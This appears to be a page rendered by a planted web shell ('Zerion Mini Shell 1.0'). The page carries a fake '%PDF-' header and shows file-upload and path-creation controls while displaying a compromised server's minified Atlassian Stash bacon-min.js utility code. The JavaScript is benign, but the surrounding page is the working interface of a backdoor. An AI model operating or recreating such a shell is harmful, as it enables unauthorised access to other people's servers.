%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/util/bacon-min.js

define("util/bacon",["aui","bacon","jquery","underscore","util/events","util/function","util/performance","exports"],function(J,A,E,L,M,I,H,D){D.events=function F(N){return A.fromBinder(function(O){return M.chain().on(N,O).destroy})};D.keyboardEvents=function K(N,O){var P=A.fromBinder(function(R){var Q=[];Q.push(M.chain().on("stash.keyboard.shortcuts."+N,function(T){var S=this.execute?this:J.whenIType(T);S.execute(R);if(O){Q.push(S.unbind)}}).destroy);return L.partial(I.applyAll,Q)});if(!O){P.onValue(J.$.noop)}return P};D.split=function G(O,N){return A.fromBinder(function(S){var P=[];var Q;var R=[];R.push(O.onValue(function(T){var U=N(T);if(Q&&U!==Q){S(P);P=[]}Q=U;P.push(T)}));R.push(O.onEnd(function(){if(P.length>0){S(P)}S(new A.End())}));return L.partial(I.applyAll,R)})};D.toArray=function C(O){var N=[];O.onValue(function(P){N.push(P)});return N};D.getWindowScrollProperty=L.once(function(){var N=E(window);function O(){return{left:N.scrollLeft(),top:N.scrollTop()}}return A.fromBinder(function(R){var Q=H.enqueueCapped(requestAnimationFrame,R);var P=L.debounce(Q,20);N.on("scroll",Q).on("scroll",P);return function(){N.off("scroll",Q).off("scroll",P)}}).map(O).skipDuplicates(function(Q,P){return Q.left===P.left&&Q.top===P.top}).toProperty(O())});D.getWindowSizeProperty=L.once(function(){var N=E(window);return A.fromBinder(function(P){var O=M.chain().on("window.resize",function(Q,R){P(new A.Next({width:Q,height:R}))});return function(){O.destroy()}}).toProperty({width:N.width(),height:N.height()})});D.takeBetween=function B(T,V){var N=V.start;var Q=V.end;var U=V.startInclusive;var S=V.endInclusive;var O=V.equals||function(X,W){return X===W};if(O(N,Q)){if(U||S){return T.skipWhile(function(W){return !O(W,N)}).take(1)}return A.never()}var P,R;return T.skipWhile(function(W){if(R||P){return false}if(O(W,N)){P=true;return !U}if(O(W,Q)){R=true;return !S}return true}).takeWhile(function(W){if(O(W,N)){P=true;return U}if(O(W,Q)){R=true;return S}return !(R&&P)})}});

Zerion Mini Shell 1.0